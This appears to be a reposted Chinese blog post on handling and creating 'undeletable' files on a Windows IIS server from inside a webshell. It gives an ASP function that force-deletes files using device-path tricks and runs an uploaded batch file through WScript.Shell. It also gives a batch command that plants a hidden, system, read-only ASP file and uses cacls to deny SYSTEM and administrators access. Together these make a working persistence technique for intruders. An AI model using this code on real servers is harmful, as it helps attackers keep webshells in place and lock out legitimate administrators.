| 关键词: TheFile 文件 web response asp cacls write 脚本 attributes Instr |
情况是这样,webshell(仅仅是webshell)下有个文件无法删除,无法修改,通过attributes 去除属性后再删除,但瞬间“满血满状态,原地复活了“ 貌似以前就遇到过这种情况,当初还跟knell讨论过,一致认为是服务器下有个文件 通过 requst 截取某些参数,然后通过Server.CreateObject("Scripting.FileSystemObject") 来创建这个“无法删除的”文件,接着Attributes设置权限,然后通过外部服务器不断的get,post发包,来让这个文件无限的复活- - 对此,我写了个脚本,经测试,完美阻止这种恶心的攻击方式 Poc.1: ____________________________________________________________________________ Function DelAttrib(TheFile) 'thefile为要修改的文件,大家最好自己写个from表单 response.write "Loading...:"&TheFile&" ...<br>" set fs=Server.CreateObject("Scripting.FileSystemObject") IF fs.FileExists("\\.\"&TheFile) then set f=fs.GetFile("\\.\"&TheFile) f.Attributes=0 '设置属性 set f=nothing response.write "Less Success!" '成功后的提示 if Right(TheFile,1)="\" or Right(TheFile,1)="/" or Left(Right(TheFile,4),1)<>"." then Call fs.DeleteFolder(EE,true)'删除文件 response.write "Delete Success!" else IF fs.FileExists("\\.\"&TheFile) then FN=LCase(Mid(TheFile,InStrRev(Replace(TheFile,"\","/"),"/")+1)) if Instr(FN,"com")<1 and Instr(FN,"con")<1 and Instr(FN,"aux")<1 and Instr(FN,"prn")<1 and Instr(FN,"nul")<1 then set f=fs.GetFile("\\.\"&TheFile)‘ f.Attributes=0 set f=nothing end if fs.Deletefile("\\.\"&TheFile) ‘基于windows保留字命名文件的删除模式 response.write "Delete Success" else response.write "Open File Fail!" '错误提示 end if end if else response.write "Open File Fail!" END IF Dim CMDShell,StrExec,ExecName set CMDShell=Server.CreateObject("WScript.Shell") '调用wscript执行Poc.2的bat脚本 StrExec="D:\web\cmd.exe /c" '这里为自定义的cmd文件 ExecName="D:\web\jfcx\include\a.bat" '这里为上传到服务器的bat脚本 CMDShell.exec(StrExec&" "&ExecName).stdout.readall set fs=nothing End Function _____________________________________________________________________________ Poc.2: ———————————————————————————————————————————— copy d:\web\a.asp \\.\d:\web\b.asp&&attrib \\.\d:\web\b.asp +a +r +s +h&&cacls \\.\d:\web\b.asp /e /d IUSR_WSPC-HVJ5FRCT79&&cacls \\.\d:\web\b.asp /e /g IUSR_WSPC-HVJ5FRCT79:r&&cacls \\.\d:\web\b.asp /e /d users&&cacls \\.\d:\web\b.asp /e /g users:r&&cacls \\.\d:\web\b.asp /e /d system&&cacls \\.\d:\web\b.asp /e /d administrators 此处脚本存为bat,d:\web\a.asp 是自己创建的文件路径 d:\web\b.asp 是自动恢复的文件路径 ,各服务器iis用户组有所不同,请自行修改 ———————————————————————————————————————————— |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|